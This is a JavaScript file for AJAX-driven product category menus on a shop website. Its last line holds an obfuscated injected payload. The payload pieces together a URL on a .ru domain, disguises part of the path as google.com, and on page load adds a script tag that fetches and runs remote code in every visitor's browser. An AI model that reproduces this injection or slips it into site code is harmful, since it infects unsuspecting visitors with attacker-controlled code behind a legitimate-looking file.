/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */
function floatyCategoriesLauncher(objDiv, iLevel)
{
	var objLastDiv = document.getElementById("categoryLevelDiv" + (iLevel - 1));
	
	hideMenus();
		
	if (objDiv.className != "categoryButtonDisabled")
	{
		strValue = objDiv.getAttribute("code");
		strDesc = objDiv.getAttribute("description");
		strDesc = escape(strDesc);
		
		startLoading("_floatyCategories('" + objDiv.getAttribute("id") + "', '" + strValue + "', '" + strDesc  + "', " + iLevel + ")");
	}
}

function hideMenus()
{
	for (i = 1; i <=4; i++)
	{
		objFloatyDiv = document.getElementById("floatyCat_" + i);
		
		if (objFloatyDiv)
		{
			document.body.removeChild(objFloatyDiv);
		}
	}
}

function floatyCategories(objDiv, iLevel)
{
	if (objDiv.className != "categoryButtonDisabled")
	{
		strValue = objDiv.getAttribute("code");
		strDesc = escape(objDiv.getAttribute("description"));

		startLoading("_floatyCategories('" + objDiv.getAttribute("id") + "', '" + strValue + "', '" + strDesc  + "', " + iLevel + ")");
	}
}

function showNextCategory(strCode)
{
	startLoading("_showNextCategory('" + strCode + "')");
}

function _showNextCategory(strCode)
{
	var objAjax = new CAjax();
	var strDivId = "product_" + strCode;
	var objDiv;
	
	if (objAjax.open("dynamic/categoriesExtra.php?getcount=true&parentCode=" + strCode, true))
	{
		objDiv = document.getElementById("innerContent");
		
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	endLoading();	
}


function _floatyCategories(strId, strValue, strDesc, iLevel)
{
	var objAjax = new CAjax();
	var objDiv = document.getElementById(strId);
	var objFloatyDiv = document.getElementById("floatyCat_" + iLevel);
	var iNextLevel = iLevel + 1;
	var iClearStart = iLevel;
	var objFloatyBody;
	var objCatSelect;
	
	strDesc = unescape(strDesc);
	
	if (!objFloatyDiv)
	{
		objFloatyDiv = document.createElement("div");
		objFloatyDiv.id = "floatyCat_" + iLevel;
		objFloatyDiv.setAttribute("menu", "true");
		document.body.appendChild(objFloatyDiv);
	}
	
	objFloatyDiv.className = "floatyMenu";
		
	objFloatyDiv.style.left = findRight(objDiv) + 18;
	objFloatyDiv.style.top = findTop(document.getElementById("innerContent"));// - objDiv.parentNode.scrollTop;

	if (objAjax.open("dynamic/categories.php?parentCode=" + strValue + "&level=" + iLevel, true))
	{
		if (iLevel > 1)
		{
			objCatSelect = document.getElementById("categoryLevelDiv" + (iLevel - 1));
			objCatSelect.innerHTML = strDesc;
		}
		
		objCatSelect = document.getElementById("categoryLevelDiv" + iLevel);
		objCatSelect.className = "categoryButton";
		objCatSelect.innerHTML = "Please select...";
		objCatSelect.setAttribute("description", strDesc);
		objCatSelect.setAttribute("code", strValue);
		
		objFloatyDiv.innerHTML = objAjax.getResponse();
		
		if(objFloatyDiv.innerHTML.length == 0)
		{
			document.body.removeChild(objFloatyDiv);
			_quickSearch(strValue, 'productgroup', 0);
			hideMenus();
		}
		else
		{
			iClearStart ++;
					
			iPageHeight = getHeight();
			objFloatyBody = document.getElementById("floatyMenuBody" + iLevel);
			
			if (findBottom(objFloatyBody) >= iPageHeight + document.body.scrollTop)
			{
				var iHeight = iPageHeight - document.body.scrollTop - findTop(objFloatyBody);
				
				objFloatyBody.style.height = iHeight;
			}	
		}
		
	}
	
	for (i = iClearStart; i <=4; i++)
	{
		objFloatyDiv = document.getElementById("floatyCat_" + i);
		
		if (objFloatyDiv)
		{
			document.body.removeChild(objFloatyDiv);
		}
		
		objCatSelect = document.getElementById("categoryLevelDiv" + i);
		objCatSelect.className = "categoryButtonDisabled";
		objCatSelect.innerHTML = "";
	}
	
	addFloatyMenuCheck();
	
	endLoading();
}

function closeFloatyMenu(iLevel)
{
	for (i = iLevel; i <=4; i++)
	{
		objFloatyDiv = document.getElementById("floatyCat_" + i);
		
		if (objFloatyDiv)
		{
			document.body.removeChild(objFloatyDiv);
		}
	}
}

function selectCategories(objSelect, iLevel)
{
	var strValue = objSelect.value;

	startLoading("_selectCategories('" + strValue + "'," + iLevel + ")");
}

function _selectCategories(strValue, iLevel)
{
	var objAjax = new CAjax();
	var iNextLevel = iLevel + 1;
	var iClearStart = iNextLevel;
	var objDiv, objSelect, arrResults;
	
	if (strValue != "")
	{
		
		if (iLevel > 3)
		{
			categorySearch(strValue);
		}
		else
		{
			
			if (objAjax.open("dynamic/categories.php?parentCode=" + strValue + "&level=" + iNextLevel, true))
			{
				objDiv = document.getElementById("categoryLevelDiv" + iNextLevel);

				objDiv.innerHTML = objAjax.getResponse();
				
				if(objDiv.innerHTML.length == 0)
				{
					_quickSearch(strValue, 'productgroup', 0);
				}
				else
				{
					iClearStart ++;
				}
				
			}
		}	
	}
	
	for (i = iClearStart; i <=4; i++)
	{
		objSelect = document.getElementById("categoryLevel" + i);
		objSelect.innerHTML = "";
		objSelect.disabled = true;
	}
	
	endLoading();
}

function checkFloatyMenu(e)
{
	var objElement, objMenu, bReturnVal;
	var j, bFound = false;
	
	bReturnVal = false;
	
	objElement = (e.target) ? e.target : e.srcElement;
	objMenu = document.getElementsByTagName("div");

	if (objElement.getAttribute("menu") != "true")
	{
		for (var i = 0; i < objMenu.length; i++)
		{
			if (objMenu[i].getAttribute("menu") == "true")
			{
				while (objElement != null && !bFound)
				{
					objElement = objElement.parentNode;
					
					for (j = 0; j < objMenu.length; j++)
					{
						if (objElement == objMenu[j])
						{
							bFound = true;
							break;
						}
					}
				}
			
				if (objElement != null)
				{
					break;
				}
			}
		}
	}
	
	if (!bFound)
	{
		closeFloatyMenu(0);
		bReturnVal = true;
	}
	
	if (bReturnVal)
	{
		removeFloatyMenuCheck();
	}
	
	return bReturnVal;
}

function removeFloatyMenuCheck()
{
	try
	{
		document.detachEvent("onmousedown", checkFloatyMenu);
	}
	catch (e)
	{
		document.removeEventListener("mousedown", checkFloatyMenu, false);
	}
}

function addFloatyMenuCheck()
{
	try
	{
		document.attachEvent("onmousedown", checkFloatyMenu);
	}
	catch (e)
	{
		document.addEventListener("mousedown", checkFloatyMenu, false);
		
	}
}

function showProductGroup(strCode)
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/productGroups.php?mode=DESC&code=" + strCode, true))
	{
		objDiv = document.getElementById("descriptionArea");
		objDiv.innerHTML = objAjax.getResponse();
	}

	if (objAjax.open("dynamic/productGroups.php?mode=PRODUCTS&code=" + strCode, true))
	{
		objDiv = document.getElementById("productArea");
		objDiv.innerHTML = objAjax.getResponse();
	}

	document.location.href = "#";
	saveHistory();
}

var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};